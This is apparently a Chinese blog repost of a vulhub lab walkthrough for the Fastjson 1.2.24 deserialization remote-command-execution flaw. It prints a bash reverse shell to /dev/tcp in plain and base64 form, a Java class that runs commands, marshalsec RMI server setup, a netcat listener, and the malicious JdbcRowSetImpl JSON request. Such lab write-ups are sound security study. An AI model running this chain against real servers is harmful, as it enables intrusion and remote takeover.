当前位置：首页 > news >正文

vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞

news 2025/9/9 5:35:06

漏洞原理：反序列化漏洞，导致任意命令执行漏洞

环境搭建

执行如下命令启动测试服务器，其使用 Fastjson 1.2.24 作为默认 JSON 解析器：

docker compose up -d

访问 http://your-ip:8090 即可看到 JSON 格式的输出

：在这里插入图片描述

我们可以通过向该地址发送 POST 请求来更新服务端的信息：

┌──(kali㉿kali)-[~]
└─$ curl http://10.22.108.80:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
{"age":20,"name":"hello"
}

：在这里插入图片描述

在主机创建fastjson.java文件

bash -i >& /dev/tcp/your-ip/7777 0>&1  //反弹shell
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjguMC4yLzc3NzcgMD4mMQ==  //base64编码形式

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};//这是注入来执行命令//String[] commands = {"/bin/bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjguMC4yLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"};也可以直接注入反弹shell// bash -i >& /dev/tcp/your-id/7777 0>&1Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

在命令行运行java fastjson.java会生成fastjson.class，启动python http监听，监听端口为6666

：在这里插入图片描述

然后使用 marshalsec 项目启动一个 RMI 服务器，监听 9999 端口，并指定加载远程类 fastjson.class(主要java版本为java8)：

└─$ wget https://github.com/RandomRobbieBF/marshalsec-jar/raw/refs/heads/master/marshalsec-0.0.3-SNAPSHOT-all.jar└─$ java -version
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-id/#fastjson" 9999  //在marshalsec目录下使用

利用NC工具，实现监听

└─$ nc -lvvp 7777

抓包Burp 抓取web页面的包，将抓到的包发送到重放器里，进行修改POST 提交内容（注意IP要修改正确，ip为本地your-ip），没有返回结果，并且发送数据仍在进行中没有停下,等待大约1分钟，shell连接成功

POST / HTTP/1.1Host: your-id:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 161{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.132.0.193:9999/fastjson","autoCommit":true}}

在这里插入图片描述